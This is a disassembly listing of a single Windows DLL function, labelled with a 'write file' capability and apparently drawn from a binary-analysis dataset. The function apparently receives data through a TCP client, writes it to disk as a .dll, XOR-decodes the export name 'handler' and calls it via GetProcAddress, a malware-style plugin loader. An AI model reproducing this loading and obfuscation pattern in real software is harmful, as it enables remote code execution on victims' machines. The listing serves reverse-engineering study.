Function at 0x10003413
Capabilities:
Write file on windows

Disassembly:
push ebp
sub esp, 0x60
mov eax, 0x1000960c
call fcn.10009064
sub esp, 0x7c
mov al, byte [ebp + 0x6c]
push ebx
push esi
xor ebx, ebx
mov dword [ebp + 0x60], ebx
mov esi, ebx
mov dword [ebp + 0x40], esi
mov byte [ebp + 0x60], dl
mov byte [ebp + 0x61], al
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp + 0x44], edi
test dl, dl
jne 0x1000344a
test al, al
je 0x10003468
mov eax, dword [edi]
push dword [ebp + 0x60]
sub esp, 0x28
mov edx, dword [eax + 4]
mov eax, esp
push ebx
push 0x19191
mov dword [eax], vtable.std::_Func_impl_no_alloc_class__void___cdecl_communicate_class_c_tcp_client___bool__bool_::_2::_lambda_1___void__class_c_tcp_client___struct_std::atomic_bool____void__.0
mov dword [eax + 0x24], eax
call edx
push 0x20
mov dword [ebp + 0x20], ebx
mov dword [ebp + 0x24], ebx
call fcn.10008273
pop ecx
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp + 0x20], eax
mov dword [ebp - 4], ebx
mov dword [ebp + 0x4c], ebx
mov dword [ebp + 0x50], ebx
mov dword [ebp + 0x54], ebx
mov dword [ebp + 0x48], ebx
lea eax, [ebp + 0x4c]
mov byte [ebp - 4], 2
push eax
mov ecx, edi
call fcn.10002d5a
test al, al
jne 0x100034c2
mov ecx, dword [ebp + 0x4c]
test ecx, ecx
je 0x100034ba
mov edx, dword [ebp + 0x54]
sub edx, ecx
call fcn.1000657b
mov dword [ebp - 4], ebx
jmp 0x10003843
mov edx, dword [ebp + 0x50]
mov eax, dword [ebp + 0x4c]
sub edx, eax
mov ecx, dword [ebp + 0x48]
mov dword [ebp + 0x60], ecx
cmp edx, ecx
jbe 0x100038ba
mov edi, dword [eax + ecx]
mov dword [ebp + 0x6c], edi
mov edi, dword [eax + ecx + 4]
add ecx, 8
mov eax, dword [ebp + 0x6c]
mov dword [ebp + 0x58], edi
or eax, edi
mov edi, dword [ebp + 0x44]
mov dword [ebp + 0x48], ecx
jne 0x10003657
cmp edx, ecx
jbe 0x100038ba
mov eax, dword [ebp + 0x4c]
mov edx, dword [eax + ecx]
mov ecx, dword [eax + ecx + 4]
mov eax, dword [ebp + 0x60]
push ecx
add eax, 0x10
mov dword [ebp + 0x1c], ecx
push edx
lea ecx, [ebp]
mov dword [ebp + 0x48], eax
mov dword [ebp + 0x18], edx
call fcn.100057fc
pop ecx
pop ecx
or esi, 3
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 3
call fcn.100032c8
lea ecx, [ebp]
mov byte [ebp - 4], 4
push ecx
push eax
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x58]
call fcn.100068ad
push 0x1000a570
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x28]
call fcn.10005a08
pop ecx
lea ecx, [ebp - 0x58]
call fcn.10004eb4
lea ecx, [ebp - 0x70]
call fcn.10004eb4
lea ecx, [ebp]
mov byte [ebp - 4], 9
call fcn.10004eb4
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
push dword [ebp - 0x18]
cmovae ecx, dword [ebp - 0x28]
lea edi, [ebp]
xor eax, eax
stosd dword es:[edi], eax
push ecx
lea ecx, [ebp]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], ebx
call fcn.1000613b
or esi, 0x1c
mov dword [ebp + 0x40], esi
lea ecx, [ebp]
mov byte [ebp - 4], 0xa
call fcn.1000292f
lea ecx, [ebp]
mov byte [ebp + 0x6f], al
mov byte [ebp - 4], 9
call fcn.10004eb4
mov al, byte [ebp + 0x6f]
test al, al
je 0x10003606
mov eax, dword [ebp + 0x18]
lea ecx, [ebp + 0x20]
mov dword [ebp + 0x60], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp + 0x58], eax
lea eax, [ebp + 0x18]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.10005c7f
sub esp, 0x18
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x28]
push eax
add edi, 0x18
call fcn.10004f1c
push dword [ebp + 0x58]
push dword [ebp + 0x60]
push edi
call fcn.10003346
mov al, byte [ebp + 0x6f]
mov byte [ebp + 0x6c], al
mov edi, ebx
mov eax, dword [ebp + 0x50]
cmp edi, 1
jae 0x1000363d
mov cl, byte [ebp + edi + 0x6c]
mov byte [ebp + 0x5f], cl
cmp eax, dword [ebp + 0x54]
je 0x1000362a
mov byte [eax], cl
mov eax, dword [ebp + 0x50]
inc eax
mov dword [ebp + 0x50], eax
jmp 0x1000363a
lea ecx, [ebp + 0x5f]
push ecx
push eax
lea ecx, [ebp + 0x4c]
call fcn.1000703a
mov eax, dword [ebp + 0x50]
inc edi
jmp 0x1000360e
mov edi, dword [ebp + 0x44]
lea ecx, [ebp + 0x4c]
push ecx
mov ecx, edi
mov eax, dword [edi]
call dword [eax]
lea ecx, [ebp - 0x28]
call fcn.10004eb4
jmp 0x1000381c
mov eax, dword [ebp + 0x6c]
cmp eax, 1
jne 0x10003799
cmp dword [ebp + 0x58], ebx
jne 0x10003799
cmp edx, ecx
jbe 0x100038ba
mov edx, dword [ebp + 0x4c]
mov eax, dword [ebp + 0x60]
mov ecx, dword [edx + ecx]
mov edx, dword [edx + eax + 0xc]
add eax, 0x10
mov dword [ebp + 0x48], eax
lea eax, [ebp - 0x38]
mov dword [ebp + 0x28], ecx
lea ecx, [ebp + 0x48]
push eax
mov dword [ebp + 0x2c], edx
call fcn.100029a3
mov byte [ebp - 4], 0xb
lea ecx, [ebp]
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
call fcn.100057fc
pop ecx
pop ecx
or esi, 0xc0
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0xc
call fcn.100032c8
lea ecx, [ebp]
mov byte [ebp - 4], 0xd
push ecx
push eax
push dword [ebp + 0x6c]
lea ecx, [ebp - 0x58]
call fcn.100068ad
or esi, 0x100
mov dword [ebp + 0x60], esi
mov dword [ebp + 0x40], esi
push str..dll
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x28]
call fcn.10005a08
pop ecx
lea ecx, [ebp - 0x58]
call fcn.10004eb4
lea ecx, [ebp - 0x70]
call fcn.10004eb4
lea ecx, [ebp]
mov byte [ebp - 4], 0x12
call fcn.10004eb4
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0x1000a588
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov ecx, dword [ebp - 0x34]
mov esi, eax
sub ecx, dword [ebp - 0x38]
push esi
push ecx
push 1
push dword [ebp - 0x38]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [ebp + 0x28]
lea ecx, [ebp + 0x20]
mov dword [ebp + 0x58], eax
add esp, 0x1c
mov eax, dword [ebp + 0x2c]
mov dword [ebp + 0x6c], eax
lea eax, [ebp + 0x28]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.10005c7f
mov esi, dword [eax]
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
add esi, 0x18
push eax
call fcn.10004f1c
push dword [ebp + 0x6c]
push dword [ebp + 0x58]
push esi
call fcn.10003346
lea ecx, [ebp - 0x28]
call fcn.10004eb4
lea ecx, [ebp - 0x38]
call fcn.100048d5
mov esi, dword [ebp + 0x60]
jmp 0x1000381c
mov dword [ebp - 0x40], eax
lea ecx, [ebp + 0x20]
mov eax, dword [ebp + 0x58]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.10005c7f
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
test edx, edx
je 0x1000381c
mov cl, 0xb5
mov dword [ebp + 0x34], 8
mov byte [ebp + 0x30], cl
mov eax, ebx
mov dword [ebp + 0x38], 0xd1dbd4dd
mov dword [ebp + 0x3c], 0xb5c7d0d9
xor byte [ebp + eax + 0x38], cl
inc eax
cmp eax, dword [ebp + 0x34]
jae 0x100037e9
mov cl, byte [ebp + 0x30]
jmp 0x100037da
lea eax, [ebp + 0x38]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000381c
lea ecx, [ebp + 0x48]
mov byte [ebp - 4], 0x13
push edi
push ecx
call eax
pop ecx
pop ecx
jmp 0x10003815
mov dword [ebp - 4], 2
mov ecx, dword [ebp + 0x4c]
test ecx, ecx
je 0x1000348a
mov edx, dword [ebp + 0x54]
sub edx, ecx
call fcn.1000657b
jmp 0x1000348a
mov eax, dword [edi + 0x20]
mov eax, dword [eax]
mov dword [ebp + 0x6c], eax
jmp 0x1000385f
mov eax, dword [eax + 0x18]
mov cl, 1
xchg byte [eax], cl
lea ecx, [ebp + 0x6c]
call fcn.100051fb
mov eax, dword [ebp + 0x6c]
cmp byte [eax + 0xd], 0
je 0x1000384d
mov eax, dword [edi + 0x20]
mov eax, dword [eax]
mov dword [ebp + 0x6c], eax
jmp 0x10003892
mov ecx, dword [eax + 0x20]
test ecx, ecx
je 0x100038b2
cmp byte [eax + 0x24], 0
je 0x10003882
cmp byte [ecx + 0x6c], 0
jne 0x100038b2
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp + 0x6c]
call fcn.100051fb
mov eax, dword [ebp + 0x6c]
cmp byte [eax + 0xd], 0
je 0x1000386f
lea ecx, [ebp + 0x20]
call fcn.100047fa
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add ebp, 0x64
leave
ret
push 4
pop ecx
call fcn.10002449
call fcn.100051ef
int3